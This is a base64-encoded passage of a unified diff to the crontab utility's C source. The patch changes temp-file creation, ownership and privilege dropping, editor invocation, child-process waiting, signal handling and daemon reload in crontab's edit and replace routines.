VHVybiBvZmYgc2lnbmFscy4gKi8KKwkodm9pZClzaWduYWwoU0lHSFVQLCBTSUdfSUdOKTsKKwko dm9pZClzaWduYWwoU0lHSU5ULCBTSUdfSUdOKTsKKwkodm9pZClzaWduYWwoU0lHUVVJVCwgU0lH X0lHTik7CisKKwlpZiAoIWdsdWVfc3RyaW5ncyhGaWxlbmFtZSwgc2l6ZW9mIEZpbGVuYW1lLCBf UEFUSF9UTVAsCisJICAgICJjcm9udGFiLlhYWFhYWFhYWFgiLCAnLycpKSB7CisJCWZwcmludGYo c3RkZXJyLCAicGF0aCB0b28gbG9uZ1xuIik7CisJCWdvdG8gZmF0YWw7CisJfQorCWlmICgtMSA9 PSAodCA9IG1rc3RlbXAoRmlsZW5hbWUpKSkgeworCQlwZXJyb3IoRmlsZW5hbWUpOwogCQlnb3Rv IGZhdGFsOwogCX0KLQkodm9pZCkgdW1hc2sodW0pOwogI2lmZGVmIEhBU19GQ0hPV04KLQlpZiAo ZmNob3duKHQsIGdldHVpZCgpLCBnZXRnaWQoKSkgPCAwKSB7CisJaWYgKGZjaG93bih0LCBNWV9V SUQocHcpLCBNWV9HSUQocHcpKSA8IDApIHsKKwkJcGVycm9yKCJmY2hvd24iKTsKKwkJZ290byBm YXRhbDsKKwl9CiAjZWxzZQotCWlmIChjaG93bihGaWxlbmFtZSwgZ2V0dWlkKCksIGdldGdpZCgp KSA8IDApIHsKLSNlbmRpZgotCQl3YXJuKCJmY2hvd24iKTsKKwlpZiAoY2hvd24oRmlsZW5hbWUs IE1ZX1VJRChwdyksIC0xKSA8IDApIHsKKwkJcGVycm9yKCJjaG93biIpOwogCQlnb3RvIGZhdGFs OwogCX0KKyNlbmRpZgogCWlmICghKE5ld0Nyb250YWIgPSBmZG9wZW4odCwgInIrIikpKSB7CiAJ CXdhcm4oImZkb3BlbiIpOwogCQlnb3RvIGZhdGFsOwogCX0KIAotCWNvcHlfZmlsZShmLCBOZXdD cm9udGFiKTsKKwlTZXRfTGluZU51bSgxKQorCisJLyogaWdub3JlIHRoZSB0b3AgZmV3IGNvbW1l bnRzIHNpbmNlIHdlIHByb2JhYmx5IHB1dCB0aGVtIHRoZXJlLgorCSAqLworCXggPSAwOworCXdo aWxlIChFT0YgIT0gKGNoID0gZ2V0X2NoYXIoZikpKSB7CisJCWlmICgnIycgIT0gY2gpIHsKKwkJ CXB1dGMoY2gsIE5ld0Nyb250YWIpOworCQkJYnJlYWs7CisJCX0KKwkJd2hpbGUgKEVPRiAhPSAo Y2ggPSBnZXRfY2hhcihmKSkpCisJCQlpZiAoY2ggPT0gJ1xuJykKKwkJCQlicmVhazsKKwkJaWYg KCsreCA+PSBOSEVBREVSX0xJTkVTKQorCQkJYnJlYWs7CisJfQorCisJLyogY29weSB0aGUgcmVz dCBvZiB0aGUgY3JvbnRhYiAoaWYgYW55KSB0byB0aGUgdGVtcCBmaWxlLgorCSAqLworCWlmIChF T0YgIT0gY2gpCisJCXdoaWxlIChFT0YgIT0gKGNoID0gZ2V0X2NoYXIoZikpKQorCQkJcHV0Yyhj aCwgTmV3Q3JvbnRhYik7CiAJZmNsb3NlKGYpOwotCWlmIChmZmx1c2goTmV3Q3JvbnRhYikpCi0J CWVycihFUlJPUl9FWElULCAiJXMiLCBGaWxlbmFtZSk7CisJaWYgKGZmbHVzaChOZXdDcm9udGFi KSA8IE9LKSAKKwkJZXJyeChFUlJPUl9FWElULCAiJXMiLCBGaWxlbmFtZSk7CiAJaWYgKGZzdGF0 KHQsICZmc2J1ZikgPCAwKSB7CiAJCXdhcm4oInVuYWJsZSB0byBmc3RhdCB0ZW1wIGZpbGUiKTsK IAkJZ290byBmYXRhbDsKIAl9CisKKwl1dGltZShGaWxlbmFtZSwgJnV0aW1lYnVmKTsKICBhZ2Fp bjoKLQlpZiAoc3dhcF91aWRzKCkgPCBPSykKLQkJZXJyKEVSUk9SX0VYSVQsICJzd2FwcGluZyB1 aWRzIik7Ci0JaWYgKHN0YXQoRmlsZW5hbWUsICZzdGF0YnVmKSA8IDApIHsKLQkJd2Fybigic3Rh dCIpOwotIGZhdGFsOgkJdW5saW5rKEZpbGVuYW1lKTsKKwlyZXdpbmQoTmV3Q3JvbnRhYik7CisJ aWYgKGZlcnJvcihOZXdDcm9udGFiKSkgeworCQlmcHJpbnRmKHN0ZGVyciwgIiVzOiBlcnJvciB3 aGlsZSB3cml0aW5nIG5ldyBjcm9udGFiIHRvICVzXG4iLAorCQkJUHJvZ3JhbU5hbWUsIEZpbGVu YW1lKTsKKyBmYXRhbDoKKwkJdW5saW5rKEZpbGVuYW1lKTsKIAkJZXhpdChFUlJPUl9FWElUKTsK IAl9Ci0JaWYgKHN3YXBfdWlkc19iYWNrKCkgPCBPSykKLQkJZXJyKEVSUk9SX0VYSVQsICJzd2Fw cGluZyB1aWRzIGJhY2siKTsKLQlpZiAoc3RhdGJ1Zi5zdF9kZXYgIT0gZnNidWYuc3RfZGV2IHx8 IHN0YXRidWYuc3RfaW5vICE9IGZzYnVmLnN0X2lubykKLQkJZXJyeChFUlJPUl9FWElULCAidGVt cCBmaWxlIG11c3QgYmUgZWRpdGVkIGluIHBsYWNlIik7Ci0JaWYgKE1ENUZpbGUoRmlsZW5hbWUs IG9yaWdfbWQ1KSA9PSBOVUxMKSB7Ci0JCXdhcm4oIk1ENSIpOwotCQlnb3RvIGZhdGFsOwotCX0K IAotCWlmICgoIShlZGl0b3IgPSBnZXRlbnYoIlZJU1VBTCIpKSkKLQkgJiYgKCEoZWRpdG9yID0g Z2V0ZW52KCJFRElUT1IiKSkpCi0JICAgICkgeworCWlmICgoKGVkaXRvciA9IGdldGVudigiVklT VUFMIikpID09IE5VTEwgfHwgKmVkaXRvciA9PSAnXDAnKSAmJgorCSAgICAoKGVkaXRvciA9IGdl dGVudigiRURJVE9SIikpID09IE5VTEwgfHwgKmVkaXRvciA9PSAnXDAnKSkgewogCQllZGl0b3Ig PSBFRElUT1I7CiAJfQogCkBAIC0zOTYsMTggKzM4NiwyNiBAQAogCiAJc3dpdGNoIChwaWQgPSBm b3JrKCkpIHsKIAljYXNlIC0xOgotCQl3YXJuKCJmb3JrIik7CisJCXBlcnJvcigiZm9yayIpOwog CQlnb3RvIGZhdGFsOwogCWNhc2UgMDoKIAkJLyogY2hpbGQgKi8KLQkJaWYgKHNldHVpZChnZXR1 aWQoKSkgPCAwKQotCQkJZXJyKEVSUk9SX0VYSVQsICJzZXR1aWQoZ2V0dWlkKCkpIik7Ci0JCWlm IChjaGRpcigiL3RtcCIpIDwgMCkKLQkJCWVycihFUlJPUl9FWElULCAiY2hkaXIoL3RtcCkiKTsK LQkJaWYgKHN0cmxlbihlZGl0b3IpICsgc3RybGVuKEZpbGVuYW1lKSArIDIgPj0gTUFYX1RFTVBT VFIpCi0JCQllcnJ4KEVSUk9SX0VYSVQsICJlZGl0b3Igb3IgZmlsZW5hbWUgdG9vIGxvbmciKTsK LQkJZXhlY2xwKGVkaXRvciwgZWRpdG9yLCBGaWxlbmFtZSwgKGNoYXIgKilOVUxMKTsKLQkJZXJy KEVSUk9SX0VYSVQsICIlcyIsIGVkaXRvcik7CisJCWlmIChzZXRnaWQoTVlfR0lEKHB3KSkgPCAw KSAKKwkJCWVycngoRVJST1JfRVhJVCwgInNldGdpZChnZXRnaWQoKSkiKTsKKworCQlpZiAoc2V0 dWlkKE1ZX1VJRChwdykpIDwgMCkgCisJCQllcnJ4KEVSUk9SX0VYSVQsICJzZXR1aWQoZ2V0dWlk KCkpIik7CisKKwkJaWYgKGNoZGlyKF9QQVRIX1RNUCkgPCAwKSAKKwkJCWVycngoRVJST1JfRVhJ VCwgX1BBVEhfVE1QKTsKKworCQlpZiAoIWdsdWVfc3RyaW5ncyhxLCBzaXplb2YgcSwgZWRpdG9y LCBGaWxlbmFtZSwgJyAnKSkgCisJCQllcnJ4KEVSUk9SX0VYSVQsICIlczogZWRpdG9yIGNvbW1h bmQgbGluZSB0b28gbG9uZyIsCisJCQkJCVByb2dyYW1OYW1lKTsKKworCQlleGVjbHAoX1BBVEhf QlNIRUxMLCBfUEFUSF9CU0hFTEwsICItYyIsIHEsIChjaGFyICopMCk7CisJCXBlcnJvcihlZGl0 b3IpOworCQlleGl0KEVSUk9SX0VYSVQpOwogCQkvKk5PVFJFQUNIRUQqLwogCWRlZmF1bHQ6CiAJ CS8qIHBhcmVudCAqLwpAQCAtNDE1LDc0ICs0MTMsNzMgQEAKIAl9CiAKIAkvKiBwYXJlbnQgKi8K LQl7Ci0Jdm9pZCAoKnNpZ1szXSkoaW50IHNpZ25hbCk7Ci0Jc2lnWzBdID0gc2lnbmFsKFNJR0hV UCwgU0lHX0lHTik7Ci0Jc2lnWzFdID0gc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7Ci0Jc2lnWzJd ID0gc2lnbmFsKFNJR1RFUk0sIFNJR19JR04pOwotCXhwaWQgPSB3YWl0KCZ3YWl0ZXIpOwotCXNp Z25hbChTSUdIVVAsIHNpZ1swXSk7Ci0Jc2lnbmFsKFNJR0lOVCwgc2lnWzFdKTsKLQlzaWduYWwo U0lHVEVSTSwgc2lnWzJdKTsKLQl9Ci0JaWYgKHhwaWQgIT0gcGlkKSB7Ci0JCXdhcm54KCJ3cm9u ZyBQSUQgKCVkICE9ICVkKSBmcm9tIFwiJXNcIiIsIHhwaWQsIHBpZCwgZWRpdG9yKTsKLQkJZ290 byBmYXRhbDsKLQl9Ci0JaWYgKFdJRkVYSVRFRCh3YWl0ZXIpICYmIFdFWElUU1RBVFVTKHdhaXRl cikpIHsKLQkJd2FybngoIlwiJXNcIiBleGl0ZWQgd2l0aCBzdGF0dXMgJWQiLCBlZGl0b3IsIFdF WElUU1RBVFVTKHdhaXRlcikpOwotCQlnb3RvIGZhdGFsOwotCX0KLQlpZiAoV0lGU0lHTkFMRUQo d2FpdGVyKSkgewotCQl3YXJueCgiXCIlc1wiIGtpbGxlZDsgc2lnbmFsICVkICglc2NvcmUgZHVt cGVkKSIsCi0JCQllZGl0b3IsIFdURVJNU0lHKHdhaXRlciksIFdDT1JFRFVNUCh3YWl0ZXIpID8i IiA6Im5vICIpOwotCQlnb3RvIGZhdGFsOwotCX0KLQlpZiAoc3dhcF91aWRzKCkgPCBPSykKLQkJ ZXJyKEVSUk9SX0VYSVQsICJzd2FwcGluZyB1aWRzIik7Ci0JaWYgKHN0YXQoRmlsZW5hbWUsICZz dGF0YnVmKSA8IDApIHsKLQkJd2Fybigic3RhdCIpOwotCQlnb3RvIGZhdGFsOwotCX0KLQlpZiAo c3RhdGJ1Zi5zdF9kZXYgIT0gZnNidWYuc3RfZGV2IHx8IHN0YXRidWYuc3RfaW5vICE9IGZzYnVm LnN0X2lubykKLQkJZXJyeChFUlJPUl9FWElULCAidGVtcCBmaWxlIG11c3QgYmUgZWRpdGVkIGlu IHBsYWNlIik7Ci0JaWYgKE1ENUZpbGUoRmlsZW5hbWUsIG5ld19tZDUpID09IE5VTEwpIHsKLQkJ d2FybigiTUQ1Iik7Ci0JCWdvdG8gZmF0YWw7Ci0JfQotCWlmIChzd2FwX3VpZHNfYmFjaygpIDwg T0spCi0JCWVycihFUlJPUl9FWElULCAic3dhcHBpbmcgdWlkcyBiYWNrIik7Ci0JaWYgKHN0cmNt cChvcmlnX21kNSwgbmV3X21kNSkgPT0gMCAmJiAhc3ludGF4X2Vycm9yKSB7Ci0JCXdhcm54KCJu byBjaGFuZ2VzIG1hZGUgdG8gY3JvbnRhYiIpOworCWZvciAoOzspIHsKKwkJeHBpZCA9IHdhaXRw aWQocGlkLCAmd2FpdGVyLCBXVU5UUkFDRUQpOworCQlpZiAoeHBpZCA9PSAtMSkgeworCQkJaWYg KGVycm5vICE9IEVJTlRSKQorCQkJCWZwcmludGYoc3RkZXJyLCAiJXM6IHdhaXRwaWQoKSBmYWls ZWQgd2FpdGluZyBmb3IgUElEICVsZCBmcm9tIFwiJXNcIjogJXNcbiIsCisJCQkJCVByb2dyYW1O YW1lLCAobG9uZylwaWQsIGVkaXRvciwgc3RyZXJyb3IoZXJybm8pKTsKKwkJfSBlbHNlIGlmICh4 cGlkICE9IHBpZCkgeworCQkJZnByaW50ZihzdGRlcnIsICIlczogd3JvbmcgUElEICglbGQgIT0g JWxkKSBmcm9tIFwiJXNcIlxuIiwKKwkJCQlQcm9ncmFtTmFtZSwgKGxvbmcpeHBpZCwgKGxvbmcp cGlkLCBlZGl0b3IpOworCQkJZ290byBmYXRhbDsKKwkJfSBlbHNlIGlmIChXSUZTVE9QUEVEKHdh aXRlcikpIHsKKwkJCWtpbGwoZ2V0cGlkKCksIFdTVE9QU0lHKHdhaXRlcikpOworCQl9IGVsc2Ug aWYgKFdJRkVYSVRFRCh3YWl0ZXIpICYmIFdFWElUU1RBVFVTKHdhaXRlcikpIHsKKwkJCWZwcmlu dGYoc3RkZXJyLCAiJXM6IFwiJXNcIiBleGl0ZWQgd2l0aCBzdGF0dXMgJWRcbiIsCisJCQkJUHJv Z3JhbU5hbWUsIGVkaXRvciwgV0VYSVRTVEFUVVMod2FpdGVyKSk7CisJCQlnb3RvIGZhdGFsOwor CQl9IGVsc2UgaWYgKFdJRlNJR05BTEVEKHdhaXRlcikpIHsKKwkJCWZwcmludGYoc3RkZXJyLAor CQkJCSIlczogXCIlc1wiIGtpbGxlZDsgc2lnbmFsICVkICglc2NvcmUgZHVtcGVkKVxuIiwKKwkJ CQlQcm9ncmFtTmFtZSwgZWRpdG9yLCBXVEVSTVNJRyh3YWl0ZXIpLAorCQkJCVdDT1JFRFVNUCh3 YWl0ZXIpID8iIiA6Im5vICIpOworCQkJZ290byBmYXRhbDsKKwkJfSBlbHNlCisJCQlicmVhazsK Kwl9CisJKHZvaWQpc2lnbmFsKFNJR0hVUCwgU0lHX0RGTCk7CisJKHZvaWQpc2lnbmFsKFNJR0lO VCwgU0lHX0RGTCk7CisJKHZvaWQpc2lnbmFsKFNJR1FVSVQsIFNJR19ERkwpOworCWlmIChmc3Rh dCh0LCAmc3RhdGJ1ZikgPCAwKSB7CisJCXBlcnJvcigiZnN0YXQiKTsKKwkJZ290byBmYXRhbDsK Kwl9CisJaWYgKHV0aW1lYnVmLm1vZHRpbWUgPT0gc3RhdGJ1Zi5zdF9tdGltZSkgeworCQlmcHJp bnRmKHN0ZGVyciwgIiVzOiBubyBjaGFuZ2VzIG1hZGUgdG8gY3JvbnRhYlxuIiwKKwkJCVByb2dy YW1OYW1lKTsKIAkJZ290byByZW1vdmU7CiAJfQotCXdhcm54KCJpbnN0YWxsaW5nIG5ldyBjcm9u dGFiIik7CisJZnByaW50ZihzdGRlcnIsICIlczogaW5zdGFsbGluZyBuZXcgY3JvbnRhYlxuIiwg UHJvZ3JhbU5hbWUpOwogCXN3aXRjaCAocmVwbGFjZV9jbWQoKSkgewotCWNhc2UgMDoJCQkvKiBT dWNjZXNzICovCisJY2FzZSAwOgogCQlicmVhazsKLQljYXNlIC0xOgkJLyogU3ludGF4IGVycm9y ICovCisJY2FzZSAtMToKIAkJZm9yICg7OykgewogCQkJcHJpbnRmKCJEbyB5b3Ugd2FudCB0byBy ZXRyeSB0aGUgc2FtZSBlZGl0PyAiKTsKIAkJCWZmbHVzaChzdGRvdXQpOwogCQkJcVswXSA9ICdc MCc7CiAJCQkodm9pZCkgZmdldHMocSwgc2l6ZW9mIHEsIHN0ZGluKTsKLQkJCXN3aXRjaCAoaXNs b3dlcihxWzBdKSA/IHFbMF0gOiB0b2xvd2VyKHFbMF0pKSB7CisJCQlzd2l0Y2ggKHFbMF0pIHsK IAkJCWNhc2UgJ3knOgotCQkJCXN5bnRheF9lcnJvciA9IDE7CisJCQljYXNlICdZJzoKIAkJCQln b3RvIGFnYWluOwogCQkJY2FzZSAnbic6CisJCQljYXNlICdOJzoKIAkJCQlnb3RvIGFiYW5kb247 CiAJCQlkZWZhdWx0OgogCQkJCWZwcmludGYoc3RkZXJyLCAiRW50ZXIgWSBvciBOXG4iKTsKIAkJ CX0KIAkJfQogCQkvKk5PVFJFQUNIRUQqLwotCWNhc2UgLTI6CQkvKiBJbnN0YWxsIGVycm9yICov CisJY2FzZSAtMjoKIAlhYmFuZG9uOgotCQl3YXJueCgiZWRpdHMgbGVmdCBpbiAlcyIsIEZpbGVu YW1lKTsKKwkJZnByaW50ZihzdGRlcnIsICIlczogZWRpdHMgbGVmdCBpbiAlc1xuIiwKKwkJCVBy b2dyYW1OYW1lLCBGaWxlbmFtZSk7CiAJCWdvdG8gZG9uZTsKIAlkZWZhdWx0OgotCQl3YXJueCgi cGFuaWM6IGJhZCBzd2l0Y2goKSBpbiByZXBsYWNlX2NtZCgpIik7CisJCWZwcmludGYoc3RkZXJy LCAiJXM6IHBhbmljOiBiYWQgc3dpdGNoKCkgaW4gcmVwbGFjZV9jbWQoKVxuIiwKKwkJCVByb2dy YW1OYW1lKTsKIAkJZ290byBmYXRhbDsKIAl9CiAgcmVtb3ZlOgpAQCAtNDkxLDQwICs0ODgsNTMg QEAKIAlsb2dfaXQoUmVhbFVzZXIsIFBpZCwgIkVORCBFRElUIiwgVXNlcik7CiB9CiAKLQogLyog cmV0dXJucwkwCW9uIHN1Y2Nlc3MKICAqCQktMQlvbiBzeW50YXggZXJyb3IKICAqCQktMglvbiBp bnN0YWxsIGVycm9yCiAgKi8KIHN0YXRpYyBpbnQKLXJlcGxhY2VfY21kKCkgewotCWNoYXIJbltN QVhfRk5BTUVdLCBlbnZzdHJbTUFYX0VOVlNUUl0sIHRuW01BWF9GTkFNRV07Ci0JRklMRQkqdG1w OwotCWludAljaCwgZW9mOwotCWVudHJ5CSplOwotCXRpbWVfdAlub3cgPSB0aW1lKE5VTEwpOwot CWNoYXIJKiplbnZwID0gZW52X2luaXQoKTsKK3JlcGxhY2VfY21kKHZvaWQpIHsKKwljaGFyIG5b TUFYX0ZOQU1FXSwgZW52c3RyW01BWF9FTlZTVFJdOworCUZJTEUgKnRtcDsKKwlpbnQgY2gsIGVv ZiwgZmQ7CisJaW50IGVycm9yID0gMDsKKwllbnRyeSAqZTsKKwl1aWRfdCBmaWxlX293bmVyOwor CXRpbWVfdCBub3cgPSB0aW1lKE5VTEwpOworCWNoYXIgKiplbnZwID0gZW52X2luaXQoKTsKIAog CWlmIChlbnZwID09IE5VTEwpIHsKLQkJd2FybngoImNhbm5vdCBhbGxvY2F0ZSBtZW1vcnkiKTsK KwkJZnByaW50ZihzdGRlcnIsICIlczogQ2Fubm90IGFsbG9jYXRlIG1lbW9yeS5cbiIsIFByb2dy YW1OYW1lKTsKIAkJcmV0dXJuICgtMik7CiAJfQogCi0JKHZvaWQpIHNucHJpbnRmKG4sIHNpemVv ZihuKSwgInRtcC4lZCIsIFBpZCk7Ci0JKHZvaWQpIHNucHJpbnRmKHRuLCBzaXplb2YodG4pLCBD Uk9OX1RBQihuKSk7Ci0KLQlpZiAoISh0bXAgPSBmb3Blbih0biwgIncrIikpKSB7Ci0JCXdhcm4o IiVzIiwgdG4pOworCWlmICghZ2x1ZV9zdHJpbmdzKFRlbXBGaWxlbmFtZSwgc2l6ZW9mIFRlbXBG aWxlbmFtZSwgU1BPT0xfRElSLAorCSAgICAidG1wLlhYWFhYWFhYWFgiLCAnLycpKSB7CisJCVRl bXBGaWxlbmFtZVswXSA9ICdcMCc7CisJCWZwcmludGYoc3RkZXJyLCAicGF0aCB0b28gbG9uZ1xu Iik7CisJCXJldHVybiAoLTIpOworCX0KKwlpZiAoKGZkID0gbWtzdGVtcChUZW1wRmlsZW5hbWUp KSA9PSAtMSB8fCAhKHRtcCA9IGZkb3BlbihmZCwgIncrIikpKSB7CisJCXBlcnJvcihUZW1wRmls ZW5hbWUpOworCQlpZiAoZmQgIT0gLTEpIHsKKwkJCWNsb3NlKGZkKTsKKwkJCXVubGluayhUZW1w RmlsZW5hbWUpOworCQl9CisJCVRlbXBGaWxlbmFtZVswXSA9ICdcMCc7CiAJCXJldHVybiAoLTIp OwogCX0KIAorCSh2b2lkKSBzaWduYWwoU0lHSFVQLCBkaWUpOworCSh2b2lkKSBzaWduYWwoU0lH SU5ULCBkaWUpOworCSh2b2lkKSBzaWduYWwoU0lHUVVJVCwgZGllKTsKKwogCS8qIHdyaXRlIGEg c2lnbmF0dXJlIGF0IHRoZSB0b3Agb2YgdGhlIGZpbGUuCiAJICoKIAkgKiBWRVJZIElNUE9SVEFO VDogbWFrZSBzdXJlIE5IRUFERVJfTElORVMgYWdyZWVzIHdpdGggdGhpcyBjb2RlLgogCSAqLwog CWZwcmludGYodG1wLCAiIyBETyBOT1QgRURJVCBUSElTIEZJTEUgLSBlZGl0IHRoZSBtYXN0ZXIg YW5kIHJlaW5zdGFsbC5cbiIpOwogCWZwcmludGYodG1wLCAiIyAoJXMgaW5zdGFsbGVkIG9uICUt MjQuMjRzKVxuIiwgRmlsZW5hbWUsIGN0aW1lKCZub3cpKTsKLQlmcHJpbnRmKHRtcCwgIiMgKENy b24gdmVyc2lvbiAtLSAlcylcbiIsIHJjc2lkKTsKKwlmcHJpbnRmKHRtcCwgIiMgKENyb24gdmVy c2lvbiAlcyAtLSAlcylcbiIsIENST05fVkVSU0lPTiwgcmNzaWQpOwogCiAJLyogY29weSB0aGUg Y3JvbnRhYiB0byB0aGUgdG1wCiAJICovCkBAIC01MzIsMTMgKzU0MiwxNSBAQAogCVNldF9MaW5l TnVtKDEpCiAJd2hpbGUgKEVPRiAhPSAoY2ggPSBnZXRfY2hhcihOZXdDcm9udGFiKSkpCiAJCXB1 dGMoY2gsIHRtcCk7Ci0JZnRydW5jYXRlKGZpbGVubyh0bXApLCBmdGVsbCh0bXApKTsKKwlmdHJ1 bmNhdGUoZmlsZW5vKHRtcCksIGZ0ZWxsKHRtcCkpOwkvKiBYWFggcmVkdW5kYW50IHdpdGggIncr Ij8gKi8KIAlmZmx1c2godG1wKTsgIHJld2luZCh0bXApOwogCiAJaWYgKGZlcnJvcih0bXApKSB7 Ci0JCXdhcm54KCJlcnJvciB3aGlsZSB3cml0aW5nIG5ldyBjcm9udGFiIHRvICVzIiwgdG4pOwot CQlmY2xvc2UodG1wKTsgIHVubGluayh0bik7Ci0JCXJldHVybiAoLTIpOworCQlmcHJpbnRmKHN0 ZGVyciwgIiVzOiBlcnJvciB3aGlsZSB3cml0aW5nIG5ldyBjcm9udGFiIHRvICVzXG4iLAorCQkJ UHJvZ3JhbU5hbWUsIFRlbXBGaWxlbmFtZSk7CisJCWZjbG9zZSh0bXApOworCQllcnJvciA9IC0y OworCQlnb3RvIGRvbmU7CiAJfQogCiAJLyogY2hlY2sgdGhlIHN5bnRheCBvZiB0aGUgZmlsZSBi ZWluZyBpbnN0YWxsZWQuCkBAIC01NTMsNiArNTY1LDExIEBACiAJd2hpbGUgKCFDaGVja0Vycm9y Q291bnQgJiYgIWVvZikgewogCQlzd2l0Y2ggKGxvYWRfZW52KGVudnN0ciwgdG1wKSkgewogCQlj YXNlIEVSUjoKKwkJCS8qIGNoZWNrIGZvciBkYXRhIGJlZm9yZSB0aGUgRU9GICovCisJCQlpZiAo ZW52c3RyWzBdICE9ICdcMCcpIHsKKwkJCQlTZXRfTGluZU51bShMaW5lTnVtYmVyICsgMSk7CisJ CQkJY2hlY2tfZXJyb3IoInByZW1hdHVyZSBFT0YiKTsKKwkJCX0KIAkJCWVvZiA9IFRSVUU7CiAJ CQlicmVhazsKIAkJY2FzZSBGQUxTRToKQEAgLTU2Niw3OCArNTgzLDExMCBAQAogCX0KIAogCWlm IChDaGVja0Vycm9yQ291bnQgIT0gMCkgewotCQl3YXJueCgiZXJyb3JzIGluIGNyb250YWIgZmls ZSwgY2FuJ3QgaW5zdGFsbCIpOwotCQlmY2xvc2UodG1wKTsgIHVubGluayh0bik7Ci0JCXJldHVy biAoLTEpOworCQlmcHJpbnRmKHN0ZGVyciwgImVycm9ycyBpbiBjcm9udGFiIGZpbGUsIGNhbid0 IGluc3RhbGwuXG4iKTsKKwkJZmNsb3NlKHRtcCk7CisJCWVycm9yID0gLTE7CisJCWdvdG8gZG9u ZTsKIAl9CiAKKwlmaWxlX293bmVyID0gKGdldGdpZCgpID09IGdldGVnaWQoKSkgPyBST09UX1VJ RCA6IHB3LT5wd191aWQ7CisKICNpZmRlZiBIQVNfRkNIT1dOCi0JaWYgKGZjaG93bihmaWxlbm8o dG1wKSwgUk9PVF9VSUQsIC0xKSA8IE9LKQotI2Vsc2UKLQlpZiAoY2hvd24odG4sIFJPT1RfVUlE LCAtMSkgPCBPSykKLSNlbmRpZgotCXsKLQkJd2FybigiY2hvd24iKTsKLQkJZmNsb3NlKHRtcCk7 ICB1bmxpbmsodG4pOwotCQlyZXR1cm4gKC0yKTsKKwlpZiAoZmNob3duKGZpbGVubyh0bXApLCBm aWxlX293bmVyLCAtMSkgPCBPSykgeworCQlwZXJyb3IoImZjaG93biIpOworCQlmY2xvc2UodG1w KTsKKwkJZXJyb3IgPSAtMjsKKwkJZ290byBkb25lOwogCX0KLQotI2lmZGVmIEhBU19GQ0hNT0QK LQlpZiAoZmNobW9kKGZpbGVubyh0bXApLCAwNjAwKSA8IE9LKQogI2Vsc2UKLQlpZiAoY2htb2Qo dG4sIDA2MDApIDwgT0spCi0jZW5kaWYKLQl7Ci0JCXdhcm4oImNob3duIik7Ci0JCWZjbG9zZSh0 bXApOyAgdW5saW5rKHRuKTsKLQkJcmV0dXJuICgtMik7CisJaWYgKGNob3duKFRlbXBGaWxlbmFt ZSwgZmlsZV9vd25lciwgLTEpIDwgT0spIHsKKwkJcGVycm9yKCJjaG93biIpOworCQlmY2xvc2Uo dG1wKTsKKwkJZXJyb3IgPSAtMjsKKwkJZ290byBkb25lOwogCX0KKyNlbmRpZgogCiAJaWYgKGZj bG9zZSh0bXApID09IEVPRikgewotCQl3YXJuKCJmY2xvc2UiKTsKLQkJdW5saW5rKHRuKTsKLQkJ cmV0dXJuICgtMik7CisJCXBlcnJvcigiZmNsb3NlIik7CisJCWVycm9yID0gLTI7CisJCWdvdG8g ZG9uZTsKIAl9CiAKLQkodm9pZCkgc25wcmludGYobiwgc2l6ZW9mKG4pLCBDUk9OX1RBQihVc2Vy KSk7Ci0JaWYgKHJlbmFtZSh0biwgbikpIHsKLQkJd2FybigiZXJyb3IgcmVuYW1pbmcgJXMgdG8g JXMiLCB0biwgbik7Ci0JCXVubGluayh0bik7Ci0JCXJldHVybiAoLTIpOworCWlmICghZ2x1ZV9z dHJpbmdzKG4sIHNpemVvZiBuLCBTUE9PTF9ESVIsIFVzZXIsICcvJykpIHsKKwkJZnByaW50Zihz dGRlcnIsICJwYXRoIHRvbyBsb25nXG4iKTsKKwkJZXJyb3IgPSAtMjsKKwkJZ290byBkb25lOwog CX0KLQorCWlmIChyZW5hbWUoVGVtcEZpbGVuYW1lLCBuKSkgeworCQlmcHJpbnRmKHN0ZGVyciwg IiVzOiBlcnJvciByZW5hbWluZyAlcyB0byAlc1xuIiwKKwkJCVByb2dyYW1OYW1lLCBUZW1wRmls ZW5hbWUsIG4pOworCQlwZXJyb3IoInJlbmFtZSIpOworCQllcnJvciA9IC0yOworCQlnb3RvIGRv bmU7CisJfQorCVRlbXBGaWxlbmFtZVswXSA9ICdcMCc7CiAJbG9nX2l0KFJlYWxVc2VyLCBQaWQs ICJSRVBMQUNFIiwgVXNlcik7CiAKLQkvKgotCSAqIENyZWF0aW5nIHRoZSAndG4nIHRlbXAgZmls ZSBoYXMgYWxyZWFkeSB1cGRhdGVkIHRoZQotCSAqIG1vZGlmaWNhdGlvbiB0aW1lIG9mIHRoZSBz cG9vbCBkaXJlY3RvcnkuICBTbGVlcCBmb3IgYQotCSAqIHNlY29uZCB0byBlbnN1cmUgdGhhdCBw b2tlX2RhZW1vbigpIHNldHMgYSBsYXRlcgotCSAqIG1vZGlmaWNhdGlvbiB0aW1lLiAgT3RoZXJ3 aXNlLCB0aGlzIGNhbiByYWNlIHdpdGggdGhlIGNyb24KLQkgKiBkYWVtb24gc2Nhbm5pbmcgZm9y IHVwZGF0ZWQgY3JvbnRhYnMuCi0JICovCi0Jc2xlZXAoMSk7Ci0KLQlwb2tlX2RhZW1vbigpOwor CXBva2VfZGFlbW9uKFJFTE9BRF9DUk9OKTsKIAotCXJldHVybiAoMCk7Citkb25lOgorCSh2b2lk KSBzaWduYWwoU0lHSFVQLCBTSUdfREZMKTsKKwkodm9pZCkgc2lnbmFsKFNJR0lOVCwgU0lHX0RG TCk7CisJKHZvaWQpIHNpZ25hbChTSUdRVUlULCBTSUdfREZMKTsKKwlpZiAoVGVtcEZpbGVuYW1l WzBdKSB7CisJCSh2b2lkKSB1bmxpbmsoVGVtcEZpbGVuYW1lKTsKKwkJVGVtcEZpbGVuYW1lWzBd ID0gJ1wwJzsKKwl9CisJcmV0dXJuIChlcnJvcik7CiB9CiAKLQogc3RhdGljIHZvaWQKLXBva2Vf ZGFlbW9uKCkgeworcG9rZV9kYWVtb24odW5zaWduZWQgY2hhciBjb29raWUpIHsKKwlpbnQgc29j ayA9IC0xOworCXN0cnVjdCBzb2NrYWRkcl91biBzX3VuOwogI2lmZGVmIFVTRV9VVElNRVMKLQlz dHJ1Y3QgdGltZXZhbCB0dnNbMl07Ci0KLQkodm9pZClnZXR0aW1lb2ZkYXkoJnR2c1swXSwgTlVM TCk7Ci0JdHZzWzFdID0gdHZzWzBdOwotCWlmICh1dGltZXMoU1BPT0xfRElSLCB0dnMpIDwgT0sp IHsKKwlzdHJ1Y3QgdGltZXZhbCB0dnNbMV07CisJCisJKHZvaWQpZ2V0dGltZW9mZGF5KCZ0dnMs IE5VTEwpOworCWlmICh1dGltZShTUE9PTF9ESVIsIHR2cykgPCBPSykgewogCQl3YXJuKCJjYW4n 